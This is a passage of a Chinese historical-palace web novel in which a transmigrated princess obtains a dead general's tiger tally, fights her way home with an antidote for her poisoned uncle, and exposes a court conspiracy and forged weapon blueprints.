笔记的封面上,用熟悉的字迹写着四个字:盛世构想。
姜稚翻开笔记,越看越心惊。
里面详细记载了各种改革方案,从经济到军事,从教育到司法,几乎涵盖了一个国家治理的所有方面。
周慎叹了口气:“镇北王生前常说,他做了一个很长的梦。梦中他看到了一个前所未有的盛世,百姓安居乐业,国家繁荣强盛。”
“他醒来后,就把梦中所见都记了下来。他说,这可能是上天的启示,让他为大晟寻找一条新路。”
姜稚的手在颤抖。
她想
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起自己穿越前看的那本野史小说,里面只简单提到镇北王是个悲剧英雄,却从没提过这些构想。
收起笔记,她拿起那枚虎符。
虎符是青铜所铸,造型古朴,正面刻着一个“萧”字,背面是复杂的云纹。
“这是镇北王的调兵虎符。”周慎道,“凭此虎符,可调动北疆所有边军。”
“当年镇北王战死后,这枚虎符在众人眼中消失了。其实是被我藏了起来,因为我知道,朝中有很多人迫切地想要得到它。”
“谁?”
“所有觊觎兵权的人。”周慎冷笑,“废太子、世家、外戚…他们都想掌控北疆军。如果虎符落在他们手里,北疆就完了。”
姜稚握紧虎符,感受到它的分量。
最后,她拿起那封信。信封上写着:“致后来者”。
她拆开信,里面只有一页纸,字迹苍劲有力:
“见信如晤。不知你是何人,但能得见此信,必是有缘。
吾一生征战,所求不过国安民泰。然朝堂**,世家贪婪,外戚干政,太子无能。吾虽有心改革,却无力回天。
若后来者能继吾之志,行吾之策,创吾梦中盛世,则吾虽死无憾。北疆军权,尽付于你。望善用之,勿负苍生。——萧烈绝笔”
信末的日期,是镇北王战死前三日。
姜稚眼眶发热。
她仿佛看到一个壮志未酬的英雄,在生命的最后时刻,还在为国家的未来谋划。
“现在你明白了吗?”周慎的声音将她拉回现实,“镇北王把希望寄托给了未来。而你,就是那个未来。”
姜稚深吸一口气,将三样东西小心收好:“周先生,谢谢你告诉我这些。但我现在最要紧的,是带冰莲回去救十三皇叔。”
“冰莲你拿走。”周慎点头,“但我要提醒你,暗梅令不会善罢甘休,所以你一定要小心。”
“红莲教是否真的和镇北王之死有关?”姜稚出声询问。
“不止有关。”周慎压低声音,“我怀疑,红莲教的背后之人,就是当年害死镇北王的真凶。而这真凶,很可能还在朝中,身居高位。”
姜稚心中警铃大作。
若如此,姜寒川会有危险!
第114章 虎符现世,援军赶到
“周先生,您跟我们一起回京城吧!”姜稚满怀期待地邀请,“我们需要你的帮助。”
周慎摇头:“老夫老了,走不动了。而且我在雪山还有未完成的事。不过…”
他走到石棺旁,从暗格里又取出一物:“这个你带上。”
那是一块黑色的令牌,正面刻着一朵燃烧的红莲。
“这是红莲教的‘尊者令’。”周慎道,“当年镇北王剿灭红莲教时缴获的。持此令者,可号令红莲教余孽。”
“虽然现在红莲教已式微,但暗梅令中还有不少红莲教旧部。关键时刻,这令牌或许能救你一命。”
姜稚接过令牌,入手冰凉。
“记住,”周慎郑重道,“你的敌人不仅是一个暗梅令,而是整个红莲教背后庞大的势力。他们潜伏在朝堂、江湖、甚至后宫。”
“你的对手,更是一条隐藏了二十年的毒蛇!”
姜稚握紧令牌:“我知道了。谢谢周先生。”
她转身走向冰莲,用特制的玉盒将它小心装好。
冰莲离台,墓室的光芒顿时暗淡。
“公子该走了。”惊蛰提醒,“天色不早了。”
姜稚向周慎深深一礼:“周先生保重。”
周慎点头:“你也保重。告诉寒川,他父亲是个英雄。让他一定要好好活着!”
这话说得奇怪,但姜稚来不及细想,便带着队伍匆匆离开墓室。
走出古墓时,天色已近黄昏。
雪山在夕阳下染成金色,美得悲壮。
姜稚回头看了一眼缓缓关闭的墓门,心中涌起复杂的情绪。
这一次雪山之行,她不仅找到了冰莲,更揭开了一个延续二十年的秘密。镇北王的遗志、红莲教的阴谋、朝中的黑手…
这一切都沉沉压在了她的心上。
而远处,几道黑影悄无声息地消失在雪色中。
……
云州城外三十里,老鸦岭。
风雪已停,但寒意更甚。
铅灰色的云层低垂,压得人喘不过气。
姜稚一行人策马疾行,马蹄在冻土上踏出急促的声响。
冰莲装在特制的玉盒中,被姜稚贴身携带,隔着衣物都能感受到那股沁人的寒意。
“公子,前方就是老鸦岭了。”巽三勒马,指着远处那道黑黢黢的山岭,“过了这道岭,再行半日就能到云州城。”
姜稚顺着巽三指的方向,抬眼望去。
只见老鸦岭地势险要,两侧山坡上怪石嶙峋,枯树如鬼影般伫立,四周更是阴森可怖。
没容姜稚多想,前方谷口突然传来一声凄厉的鸦鸣。
紧接着,数十支箭矢如暴雨般从两侧山坡射下!
“敌袭!保护公子!”
山影卫瞬间做出反应。
巽三带人架起盾牌,护住姜稚。
惊蛰则带着五名好手,借着山石掩护,向箭矢来处摸去。
箭雨暂歇,取而代之的是马蹄声。
二十余骑从谷口冲出,清一色黑衣黑甲,面戴青铜面具。
为首一人骑在马上,身形魁梧,手中提着一柄鬼头大刀。
他扫视着被围在中央的姜稚一行人,声音沙哑如破锣:
“交出冰莲,给你们留个全尸。”
姜稚坐在马上,神色平静:“暗梅令好大的手笔,为了我一介女流,竟出动这么多人。”
“少废话!”那首领厉声道,“你折了我们那么多人,今天就要你偿命!”
“那就看你们有没有这个本事了。”姜稚冷笑,手中马鞭一挥,“突围!”
山影卫早已做好准备,闻言立刻结阵冲锋。
他们虽只有十几人,但训练有素,配合默契。巽三更是一马当先,长刀如龙,瞬间劈翻两个黑衣人。
然而暗梅令显然有备而来。
两侧山坡上又涌出数十名弓箭手,箭矢密集如蝗。更糟糕的是,谷口方向传来沉重的马蹄声——
又一队人马赶到!
这队人穿着皮袄,头戴毡帽,手持弯刀,赫然是匈奴骑兵!
“匈奴人?!”老巴图惊呼,“他们怎么会出现在这里?!”
姜稚心沉到谷底。
暗梅令竟然与匈奴残部勾结!
“公子,情况不妙。”惊蛰退回她身边。
她肩头中了一箭,鲜血染红衣襟,“对方人太多,我们
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撑不了多久。”
如今硬拼只有死路一条。可冰莲绝不能落在他们手里。姜稚内心焦灼如焚。
虎符!
周先生给她的,那枚可以调动北疆边军的虎符!
“惊蛰,你现在马上拿着这个虎符,快马加鞭去到北疆军中,我们是生是死,就全在你手里了!”姜稚将虎符塞到惊蛰手中,握紧了对方的手。
惊蛰握着手中微凉的兵符,看着眼前对她满是信赖的公主,狠狠点了点头,转身翻身上马,拼尽全力冲出包围圈,向北疆边军的驻扎地方向赶去。
惊蛰走后,战斗越来越激烈。
过了几刻钟后,老鸦岭的战斗彻底进入白热化。
山影卫虽拼死抵抗,但防线却在不断收缩。
巽三浑身浴血,依然死战不退。
那匈奴骑兵的头领早早就已经盯上了被护在防线圈中的姜稚。
他狞笑一声,策马直冲而来,手中弯刀直劈向姜稚面门!
“公子小心!”
巽三想去阻拦,却被两个黑衣人缠住。
眼看弯刀就要落下,山坡上突然传来骚动,远处也传来了雷鸣般的马蹄声。
地平线上,烟尘滚滚。
一队黑甲骑兵如钢铁洪流般席卷而来。
为首一将身高八尺,面如黑炭,手中一杆丈八长矛,正是云州守将韩猛!
“北疆边军在此!谁敢伤持虎符者?!”
韩猛声如洪钟,瞬间震慑全场。
他身后是整整三百铁骑,旌旗猎猎,杀气腾腾。
暗梅令和匈奴人慌了。
本来就经过一场大战,此时已经力竭,再对上边疆的正规军他们根本没有胜算。
“撤!”暗梅令首领当机立断。
但韩猛岂会放他们走。
他长矛一挥:“一个不留,全部诛杀!”
铁骑冲锋,如虎入羊群。
暗梅令和匈奴人溃不成军,四散奔逃。
但边军早已布下包围圈,逃出去的寥寥无几。
战斗很快结束。
韩猛翻身下马,走到姜稚面前,单膝跪地:“末将韩猛,拜见虎符持有者!救驾来迟,请公子恕罪!”
第115章 五十铁骑雪原狂飙
姜稚见援军到达,彻底松了口气,肩头的伤口这才传来剧痛。
那痛像钝刀割肉,一寸寸往骨缝里钻。
姜稚眼前一黑,几乎栽下马,幸亏惊蛰上前一步及时扶住。
血从姜稚身上的甲胄缝隙里渗出,把半边衣袖浸得湿透,但在玄色布料上看不出丝毫痕迹,只让她觉得衣衫愈发沉冷。
姜稚强忍疼痛,沉声道:“韩将军请起。今日多亏将军及时赶到。”
韩猛起身,铁甲铿锵。
镇北王战死那年,他奉命留守云州,几年来日日枕戈待旦,等的就是虎符现世。
此刻,看着姜稚手中的虎符,那上面铜铸的猛虎在夕阳下泛着暗红,像被鲜血重新淬过。
“公子,这虎符,真是镇北王遗物?”
“是。”姜稚点头,“镇北王遗命,虎符传于能实现他遗志之人。韩将军,你可愿遵从虎符调遣?”
“末将誓死遵从!”韩猛毫不犹豫,“镇北王对末将有知遇之恩,见虎符如见王爷!公子有何吩咐,末将万死不辞!”
风掠过老鸦岭,卷起焦糊的血腥。
姜稚抬眼望去,远处山峦像被刀劈过,裂口处还冒着黑烟,暮色里仿佛还能听见胡马的嘶鸣。
“好。”姜稚深吸一口气,“烦你护送我回京城,务必三日内送到。同时,封锁老鸦岭,安排一队精兵,搜查暗梅令和匈奴残部,务必活捉几个。”
“还有…”
她顿了顿,声音转冷:“传令北疆各军,加强戒备,提防匈奴异动。我怀疑,今日之事不是偶然。”
韩猛神色一凛:“公子是说,匈奴与暗梅令勾结?”
“不止。”姜稚冷冷地看向那些匈奴人的尸体。
尸体的鬓边皆刺着苍狼,狼首却缺了半耳——
那是匈奴王庭死士的标记。
可方才交手时,这些**多用的却是中原制式短**,箭羽上甚至烙着兵部工坊的暗印。
“他们能潜入云州地界而不被发现,军中必有内应。韩将军,此事需要彻查。”姜稚嘱咐道。
“末将明白!”韩猛抱拳,“公子放心,末将亲自护送您回京。云州这边,我会让副将严查。”
“好!咱们立刻出发!”姜稚翻身上马,动作太大,伤口再度迸裂,血顺着护臂滴落,在尘土上点开一朵朵暗色花。
“韩将军,只要挑五十精骑随行即可,咱们轻装简从,日夜兼程。受伤的山影卫就地调息,跟随北疆军处理此地后事。”
姜稚一声令下,队伍重新集结完毕。
韩猛选了五十名最精锐的骑兵,每人三匹马,轮流换乘。
姜稚将冰莲玉盒小心固定在胸前,用皮绳捆牢。
出发前,惊蛰为姜稚重新包扎伤口。
“公主,您撑得住吗?”惊蛰担忧地问。
“撑不住也要撑。”姜稚咬牙,“出发!”
马蹄声再次响起,五十余骑如离弦之箭,冲出老鸦岭,向南疾驰。
他们不知道的是,就在他们离开后不久,一具“尸体”从尸堆中爬了起来。
那是个暗梅令**,胸口虽插着箭,但并未伤及要害。
他撕下面具,露出一张年轻而苍白的脸。
他踉跄着走到一处岩石后,从怀中掏出一只信鸽,将一张沾血的字条绑在鸽腿上。
字条上只有一行字:“虎符现世,持符者携冰莲南归。计划有变,请示下。”
信鸽扑棱棱飞起,消失在铅灰色的天空中。
……
黄昏,雍王府内。
雍王姜肃站在廊下,望着北方天空,眉头紧锁。
他手中捏着两封刚刚收到的密信。
一封是云州商行分号发来的,说的是公主已起程回京。
另一封密信,却让他心惊肉跳。
那是潜伏在谢府的暗桩传来的消息——
谢太师昨日秘密出府,去了城西一处宅院。
而那处宅院的主人,经查实,竟是废太子姜诚乳母的侄子!
谢家与废太子残余势力仍在私下勾结,这是要做什么?
“王爷。”福伯匆匆走来,脸色凝重。
“宫里传来消息,陛下今日早朝时晕倒了,太医说是急火攻心。现在朝中人心惶惶,几位尚书
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已经去了乾元殿外候着。”
姜肃心中一紧:“陛下龙体如何?”
“暂时无碍,但需要静养。”福伯压低声音。
“麻烦的是,兵部尚书孙元培趁机上奏,说十三殿下昏迷不醒,龙渊军群龙无首,建议暂时由兵部接管。几位谢家门生的御史也附议。”
“荒唐!”姜肃怒道,“龙渊军是寒川一手带出来的,兵部凭什么接管?”
“他们说,十三殿下可能再也醒不过来了。”福伯声音发涩,“太医确实说过,就算有冰莲,也只有五成把握。”
姜肃握紧拳头。
世家这是要趁机夺兵权了!
一旦兵部接管龙渊军,兵权就相当于落入了世家手中。到时候,就算寒川苏醒重新掌管龙渊军,军队也再难以齐心。
“王爷,还有一事。”福伯继续道,“商行在江南的几处分号,昨日同时遭到官府搜查,说是涉嫌走私。虽然没搜出什么,但生意都停了。”
姜肃冷笑,“好啊!既然他们出招了,我们也别客气。传令下去,启动‘斩蛇计划’。”
福伯一惊:“王爷,现在就用‘斩蛇计划’,会不会太早?那些证据…”
“顾不了那么多了。”姜肃眼神锐利,“稚儿和寒川都危在旦夕,我们必须先发制人。去准备吧,明日早朝,我要让那群人知道,雍王府不是好惹的。”
“是!”
福伯退下后,姜肃回到书房。
他从暗格中取出一叠厚厚的卷宗,里面全是这些年来搜集的世家罪证——
****、强占民田、买卖官职、勾结外敌…
原本他想等时机成熟再出手。
但现在,等不了了。
他翻开卷宗,目光落在“谢允”那一页,上面详细记录了谢太师这些年的所作所为。
其中最致命的一条,是数年前黄河决口时,谢家与废太子侵吞赈灾银三十万两的证据。
“谢允啊谢允,”姜肃轻声道,“这都是你逼我的。”
窗外,暮色四合。
京城华灯初上,看似平静的夜晚,暗流已然汹涌。
第116章 公主携药回归
姜稚一行人往京城方向连续奔驰两日两夜。
人马皆疲,但无人敢停。
此刻,距离京城还有百里,若全速前进,午时前就能抵达王府。
“公子,前面是落霞坡。”韩猛指着前方一道缓坡,“过了坡,再行三十里就是京城地界了。”
姜稚抬眼望去。
落霞坡上长满了枯草,在晨风中起伏如浪。
一切看似平静,但她胸前的狼牙吊坠,却开始微微发烫。
“停!”她勒住马。
“公子?”韩猛不解。
“小心为上。”姜稚沉声道,“惊蛰,带三个人从左侧绕过去看看。巽三,你从右侧走。韩将军,让兄弟们做好战斗准备。”
众人虽疑惑,但无人质疑。
这两日来,这位年轻的“公子”已用智慧和决断赢得了所有人的尊重。
很快,惊蛰和巽三先后返回。
“公主,左侧树林里藏着二十余人,看装束是江湖人。”惊蛰道。
“右侧也有,约三十人,带着**箭。”巽三补充。
韩猛脸色一沉:“好大的阵仗!公子,怎么办?强冲还是绕路?”
姜稚迅速思考。
强冲的话,对方占据地利,又有**箭,损失必然惨重。
绕路的话,至少要耽误一个时辰,姜寒川等不起。
思索半天,姜稚心中有了计较,她对韩猛道:“韩将军,亮出旗帜,大张旗鼓地前进。”
“啊?”韩猛一愣,“那不是暴露了吗?”
“就是要暴露。”姜稚冷笑,“对方埋伏在此,显然知道我们的行踪。既然躲不过,就堂堂正正地过去。我倒要看看,谁敢在光天化日之下,袭击北疆边军!”
韩猛会意,立刻下令:“竖起军旗!列队前进!”
五十骑兵迅速整队,黑甲鲜明,旗帜飘扬。
韩猛一马当先,姜稚紧随其后,队伍缓缓向落霞坡行进。
当他们行至坡下时,两侧树林中涌出数十人,拦住了去路。
为首的是个独眼老者,手持铁杖,声音阴冷:“此路不通,诸位请回。”
韩猛长矛一指:“北疆边军奉虎符调遣回京,谁敢阻拦?!”
“虎符?”独眼老者嗤笑,“谁知道是真的假的。老夫只认兵部文书,没有文书,一律按叛军论处!”
“放肆!”韩猛大怒,“你是什么东西,也配查我军文书?”
“老夫乃兵部特使,奉孙尚书之命,在此稽查擅自调兵之事。”
独眼老者从怀中掏出一面令牌,不屑地看向韩猛,“说你是北疆边军?我看你这样,定是无令调兵。尔等若是现在下马受缚,还可从轻发落。”
韩猛脸色一变。
兵部确实有权稽查各地驻军,若对方真是兵部特使,事情就麻烦了。
姜稚却笑了:“兵部特使?好大的威风。只是不知,孙尚书什么时候请了‘鬼杖阎罗’徐老怪当特使了?”
独眼老者瞳孔一缩:“你是谁?”
“你不必知道我是谁。”姜稚策马上前,“我只知道,徐老怪三年前因**民女被官府通缉,一直躲在塞外。”
“怎么,如今摇身一变,成了兵部特使?孙尚书好大的胆子,竟敢收留朝廷钦犯!”
姜稚在上大学的时候就对野史特别有兴趣,来到这个时代后,也没少留意野史类书籍。
多亏那些杂七杂八的书,她一下就认出眼前人的身份。
这话一出,对面徐老怪脸色剧变。
他身后的那些“兵部差役”也骚动起来。
他们根本不是什么差役,都是徐老怪找来的江湖亡命徒!
“胡说八道!”徐老怪厉声道,“老夫乃正经兵部官员…”
“正经?”姜稚打断他,“那你敢不敢把令牌拿近些,让我看看上面的编号?兵部所有令牌都有编号登记,一查便知真假。”
徐老怪当然不敢。
他的令牌是仿造的,编号自然是瞎编的,一查就露馅。
眼看计谋被识破,他眼中闪过狠色:“既然你们敬酒不吃吃罚酒,那就别怪老夫不客气了!动手!”
然而他话音刚落,姜稚忽然从怀中掏出一物,高举过头——
那是一块黑色令牌,正面刻着一朵燃烧的红莲。
“红莲尊者令在此!”她声音清
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越,“红莲教众听令!”
徐老怪浑身一震,难以置信地看着那块令牌。
他身后的那些江湖人中,有七八个脸色大变,下意识就要跪倒。
“见尊者令如见教主!”姜稚继续道,“徐老怪背叛红莲教,投靠朝廷,罪该万死!尔等还不将他拿下?!”
那群人中的红莲教旧部对视一眼,忽然同时出手,攻向徐老怪!
“你们敢?!”徐老怪又惊又怒,铁杖横扫。
但他双拳难敌四手,很快落了下风。
“这人就交给你们处理,处理得恰当,我红莲尊者重重有赏。”姜稚看着眼前的局面,在一旁继续添了一把柴火。
其余江湖人见势闻言,瞬间一哄而上,将徐老怪逃跑的路线全部堵死。
姜稚这才松了口气。
周慎给的红莲令,果然有用。
“公子,这…”韩猛看得目瞪口呆。
“回头再解释。”姜稚收起令牌,“现在赶紧走,京城就在眼前了。”
队伍再次出发,这次再无阻拦。
……
午时初刻,京城北门在望。
守城士兵看到北疆边军的旗帜,连忙打开城门。
韩猛一马当先,冲入城中,直扑雍王府。
而此时,乾元殿内,早朝刚刚结束。
姜肃正准备离开,却被孙元培拦住了。
“雍王殿下请留步。”孙元培皮笑肉不笑,“关于龙渊军的事,陛下让咱们几个再议议。”
姜肃心中一沉。
他知道,这是他们要逼自己就范,彻底将兵权的事定下来。
“孙尚书,寒川还没死呢。”他冷冷道,“现在就讨论龙渊军的归属,是不是太急了?”
“殿下此言差矣。”谢太师也缓缓开口,“国不可一日无君,军不可一日无将。十三殿下昏迷多日,龙渊军群龙无首,万一匈奴趁机来犯,谁来负责?”
“是啊。”几个世家官员附和,“兵部暂管,也是权宜之计。”
姜肃正要反驳,殿外忽然传来急促的脚步声。
“报——安宁公主回京!携冰莲已至雍王府!”
满殿哗然。
第117章 十三皇叔醒来了
姜肃听到女儿回来的消息心中大喜。
他朝着其他人一拱手:“既然稚儿回来了,那冰莲也该送到寒川那里了。看来龙渊军的事,就用不上各位费心了。”
他说完,转身就走,留下脸色铁青的孙元培和谢太师一众人。
走出乾元殿,姜肃快步向宫外走去。
福伯见自家王爷出来,迅速迎上前,“王爷,公主确实回来了,但...受了伤。”
“什么?!”姜肃心头一紧,“严重吗?”
“肩部受伤,失血过多,但性命无碍。”福伯道,“太医已经在雍王府候着了。冰莲也送到了,正在配制解药。”
“快回府!”
姜肃一刻不停地驾车回到雍王府。
当他冲进竹心坊时,正好看到太医从姜寒川房中出来。
“王太医,如何?”他急问。
王太医擦了擦额头的汗:“回王爷,解药已经给十三殿下服下了。但能否醒来,还要看今夜。至于公主…”
他看向隔壁房间:“伤口已处理,但疲劳过度,加上失血,需要静养。王妃一直在旁边陪着。”
姜肃脚步没停,转向女儿的房间。
姜稚已经换了女装,躺在床上,脸色苍白如纸。
林月瑶在一旁心疼地悄悄抹泪。
“爹爹…”看到姜肃进来,姜稚声音虚弱地唤了一声。
“别说话,好好休息。”姜肃眼眶发热,“稚儿,你做得很好。真的很好。”
“十三皇叔…”
解药已经服下了。”姜肃柔声道,“你现在要做的,就是养好身体。其他的,交给为父。”
姜稚点点头,终于支撑不住,沉沉睡去。
姜肃为她掖好被角,又安抚了一下林月瑶,接着起身去看姜寒川。
此刻,姜寒川虽然依然昏迷,但脸色已不像之前那样青黑。
王太医说,这是毒素开始消退的迹象。
“寒川,”姜肃坐在床边,轻声道,“稚儿为了救你,差点把命搭上。你可得争气,快点醒来啊。”
窗外,阳光正好。庭院中的老梅,不知何时已绽开了几朵花苞。
……
两日后的清晨。
姜稚在药香中醒来。
肩头的伤口已结痂,太医说恢复得极好,只是还需静养。
但她躺不住,因为她刚刚听说姜寒川醒了,就在昨夜子时。
她匆匆披衣下床,秋露连忙扶住她:“公主,您伤还没好。”
“无妨。”姜稚摆手,“去看看十三皇叔。”
穿过庭院时,她看到老梅已开了满树,粉白的花瓣在晨光中晶莹剔透。
春天真的来了,带着新生与希望。
姜寒川的房间里弥漫着药味,但他已经能坐起来了。
王太医正在为他诊脉,见到姜稚进来,连忙行礼:“公主。”
“王太医不必多礼,您继续诊脉就好。”说话间,姜稚走到床边,看着姜寒川苍白的脸,“十三皇叔,感觉如何?”
姜寒川抬眼看着姜稚,眼神复杂。
他昏迷这几日,感觉自己做了好多奇怪的梦。
那些破碎的梦境里,总有一个纤细的身影在雪山中跋涉,在刀光箭雨中穿梭。
当他醒来后,听了陈凛告诉他的一切,更是让他后怕不已。
“稚儿…”才醒过来的姜寒川声音还有些沙哑,“你不该为了我去冒险。”
“你为了救我才受的伤,难道要让我知恩不报?”姜稚微笑,在床边的凳子上坐下。
姜寒川看着姜稚肩头隐隐透出的绷带痕迹,心中有个角落传来钝痛。
他想看看姜稚伤口如何,想到二人之间的身份,手在半空停住,出声询问,“你的伤势如何?”
“皮肉伤而已。”姜稚轻描淡写,“比起皇叔中的‘醉红尘’,这不算什么。”
提到“醉红尘”,姜寒川突然眼神一凛:“王太医,这毒可有眉目?”
王太医收回诊脉的手,神色凝重:“回十三殿下,这‘醉红尘’的配方,老臣已从《丹经秘要》中破译出来。”
“药方的七味**材,皆是罕见之物。但其中有一味‘龙涎香’,老臣从中发现了蹊跷。”
姜寒川闻言,眉头皱起,“什么蹊跷?”
“这龙涎香不是普通的龙涎香,里面掺了西域曼陀罗的花粉。而曼陀罗花粉,只有宫中御药房才有库存,且记录在案。”
姜稚和姜寒川对视一眼,都看到了
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对方眼中的震惊。
宫中御药房?
“王太医,‘醉红尘’一事还有谁知道?”姜稚立刻问。
“只有老臣和两位配药的徒弟。”王太医道,“老臣已经嘱咐他们保密。”
“做得好。”姜稚点头,“此事暂且不要声张。王太医,麻烦你将曼陀罗花粉的进出记录抄录一份,要隐秘。”
“老臣明白。”
王太医退下后,房间里只剩姜稚和姜寒川两人。
“你怀疑谁?”姜寒川问。
“能接触到御药房,又有动机害你的人…”姜稚沉吟,“窦贵妃已死,但她在宫中经营多年,未必没有残余势力。”
“还有废太子,虽然圈禁,但未必不能传递消息。”
“你还漏掉一个人。”姜寒川出言提醒。
“谁?”
“谢太师。”姜寒川眼神愈发冰冷。
“你不在京这些日子,谢家在朝中动作频频。一直试图让兵部接管龙渊军。”
“因为他们知道,若我醒来,定会站在雍王一边。所以,只有我永远醒不来,对他们才是最有利。”
姜稚心头一凛。
是啊,谢家完全有动机,也有能力。
谢太师是三朝元老,在宫中门生故旧无数,要弄点御药房的药材,并非难事。
“但证据呢?”她问,“没有证据,动不了谢太师。”
“会有证据的。”姜寒川眼中闪过锐光,“你父亲已经动手了。”
姜稚一怔:“斩蛇计划?”
“你知道?”
“爹爹提过,但没说具体。”姜稚道,“皇叔知道详情?”
姜寒川点头:“你父亲这些年搜集了世家大量罪证,本想过些时日再出手。但你北上后,世家逼得太紧,他决定提前发动。今日早朝,应该就有结果了。”
正说着,门外传来福伯的声音:“公主,王爷让您准备一下,今日要上朝。”
姜稚惊讶:“我也去?”
“是。”福伯道,“王爷说,有些事,需要公主亲自去说清楚。”
姜稚明白了。
父亲这是要她在朝堂上亮出虎符,正式介入朝局。
也好,是该让那些人知道,雍王府不是好惹的。
第118章 谢太师的连环杀招
辰时三刻,乾元殿。
皇帝姜桓坐在龙椅上,脸色有些苍白,但眼神依然锐利。
下方文武百官分列两侧,气氛凝重。
姜肃站在文官前列,神色平静。
谢太师站在他对面,闭目养神,仿佛一切尽在掌握。
“众卿有事启奏,无事退朝。”赵德全的声音在大殿中回荡。
“臣有本奏!”兵部尚书孙元培第一个出列,“陛下,北疆边军无令调兵,擅离职守,请陛下严惩!”
他指的是韩猛带兵护送姜稚回京的事。
姜肃正要开口,殿外忽然传来清亮的女声:
“孙尚书此言差矣。”
众人循声望去,只见姜稚身着公主朝服,缓步走入大殿。
她肩伤未愈,走得有些慢,但脊背挺直,目光如炬。
“安宁?”皇帝有些意外,“你伤好了?”
“谢皇祖父关心,孙儿已无大碍。”姜稚走到殿中央行礼,“孙儿今日上朝,是要澄清一事。”
“北疆边军并非无令调兵,而是奉虎符之令。”
“虎符?”皇帝闻言皱眉,“什么虎符?”
姜稚从袖中取出那枚青铜虎符,双手呈上:“此乃镇北王遗物,可调动北疆所有边军。孙儿在雪山中得镇北王遗命,持此虎符,承其遗志,保境安民。”
赵德全上前接过虎符,奉给皇帝。
皇帝拿起虎符,仔细端详,脸色渐渐变了:“这,确实是镇北王的虎符!朕认得上面的纹路!稚儿,你从何处得来?”
“镇北王衣冠冢中。”姜稚坦然道,“镇北王留下遗书,言明虎符传于有缘人。孙儿侥幸得之,不敢私藏,今日特献于皇祖父。”
她这话说得巧妙。
虎符在众人面前献上,既表明忠心,又将处置权交到了皇帝手中。
皇帝抚摸着虎符,眼中闪过复杂情绪。
二十年前,镇北王战死沙场,虎符失踪,他一直耿耿于怀。
没想到今日,竟是有“福娃”称号的孙女找回来了。
“好,好。”皇帝点头,“稚儿立下大功!”
“只是…这虎符如何处置,众卿有何意见?”皇帝似乎微微有些“犯难”。
谢太师终于睁开眼睛,缓缓道:
“陛下,虎符乃调兵信物,干系重大。公主年幼,又无军功,恐怕不宜持有。老臣建议,虎符交由兵部保管,待有合适人选,再行赐予。”
“太师此言差矣。”姜肃立刻反驳。
“虎符是镇北王遗物,他既指定传人,自当遵从遗命。且稚儿此次北上求药,九死一生,不仅化解云州之围,擒获暗梅令余孽,还保了边境平安,此功不小。”
“雍王此言,是要让一个十岁女童执掌北疆兵权?”孙元培冷笑,“荒唐!”
“谁说我要执掌兵权了?”姜稚忽然开口,声音平静,“虎符我已献给皇祖父,如何处置,全凭圣裁。但孙儿有一言,不知当讲不当讲。”
皇帝看着她:“讲。”
“孙儿以为,虎符之事暂且不论,当务之急是查明‘醉红尘’之毒的来源。”姜稚话锋一转,“王太医已查明,此毒中的曼陀罗花粉,来自宫中御药房。”
此言一出,满殿哗然。
“宫中?!”皇帝脸色一沉,“此言属实?”
“孙儿不敢妄言,王太医可作证。”姜稚道信誓旦旦道。
接着她环顾四周众臣,目光中满是审视。
“究竟是何人能从御药房取得曼陀罗花粉?又是何人将此物交给暗梅令,用以毒害十三皇叔?皇祖父,此人潜伏宫中,危害皇嗣,若不查出,后患无穷!”
姜稚这话说得掷地有声,直指要害。
谢太师脸色微变,但很快恢复平静:“公主所言有理。但曼陀罗花粉虽是御药房之物,也未必就是宫中之人所为。或许是被盗,或许是被买通…”
“太师说得对。”姜稚点头,“所以孙儿建议,彻查御药房近三月所有药材出入记录。同时,也查查朝中哪些大人,近期与暗梅令有过接触。”
她目光扫过谢太师和孙元培:“毕竟,暗梅令能在京城来去自如,若无朝中之人庇护,恐怕也说不过去。”
这话暗示得太明显,谢太师终于沉不住气了:“公主此言,是在怀疑老臣?”
“太师多心
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了。”姜稚微笑,“孙儿只是就事论事。若太师心中无愧,又何惧调查?”
“你!”谢太师气得胡子发抖。
皇帝看着这一幕,心中已有计较。
他早就怀疑世家中有人与暗梅令有关联,只是苦无证据。
如今姜稚提出彻查,正合他意。
“稚儿所言有理。”皇帝缓缓道,“赵德全,传朕旨意,彻查御药房所有记录。刑部、大理寺协同办案,务必查个水落石出!”
“遵旨!”
谢太师听了,心中一沉。
他知道,皇帝这是要借题发挥,清查世家在宫中的势力。
但他在朝中浸淫这数十年,自然还留有后手。
“陛下,”谢太师再次开口,“老臣还有一事要奏。”
“近日江南传来消息,稚川商行涉嫌走私违禁之物,已被当地官府查扣。”
他顿了顿,看向姜稚:“老臣听闻,公主与‘稚川先生’交往甚密。不知公主可知,这位‘稚川先生’的**?”
姜稚心中冷笑,面上却不动声色:“孙儿与‘稚川先生’确有书信往来,但从未见过面。太师此言,莫非是怀疑本公主与走私有关?”
“老臣不敢。”谢太师道,“只是‘稚川先生’行踪诡秘,财富惊人,又与公主往来密切,难免引人遐想。如今又牵扯走私,老臣建议,应当彻查此人,以免祸国殃民。”
“太师说得对。”孙元培附和,“臣已收到江南官员奏报。经查实,稚川商行走私的,竟是军械图纸!此等行径,与通敌何异?”
军械图纸?
这安排罪名可就大了。
“孙尚书可有证据?”姜肃沉声问。
“自然有。”孙元培从袖中取出一份文书,“这是江南总督的奏折,还有查获的图纸副本。陛下请看。”
赵德全接过,呈给皇帝。
皇帝快速浏览,脸色越来越难看。
奏折上说,稚川商行货仓中搜出**机改良图纸,工艺精良,疑似北疆军械。
而货单显示,这批货的最终目的地竟然是塞外!
“简直是大胆!”皇帝狠狠将文书掷到地上。
第119章 谢家领头人彻底倒下
乾元殿内,皇帝姜桓龙威大怒。
“稚儿,”他看向姜稚,“你可有话说?”
姜稚深吸一口气。
她知道,图纸必定是伪造的,货单也是栽赃的,这一切定然都是世家精心设计的陷阱。
但眼下,她拿不出证据。
【不能慌!既然是栽赃,就一定有破绽。】
【图纸…对了,如果是北疆军械图纸,韩猛应该认得!】
姜稚的心声传到姜肃耳中,他立刻出列:
“父皇,此事关系重大,仅凭一份奏折和图纸副本,难以定论。儿臣建议,传北疆将领韩猛上殿辨认。若真是北疆军械图纸,他应该认得。”
“准。”皇帝点头。
很快,韩猛被传上殿。他看了图纸副本后,皱眉道:“陛下,这图纸,有些蹊跷。”
“怎么说?”
“这确实是**机图纸,但设计上有几处错误。”
韩猛指着图纸上面有疑问的地方,详细说明,“这里,机括的位置不对,若按此图制造,**机根本无法使用。还有这里,尺寸标注有误,会导致零件无法装配。”
他抬头,肯定地说:“这绝不是北疆军中的图纸。北疆军械都有严格标准,绝不会犯这种低级错误。”
孙元培脸色一变:“或许是仿制时出了差错…”
“那就更奇怪了。”韩猛道,“若是走私军械,为何要仿制一张错误的图纸?这不合常理。”
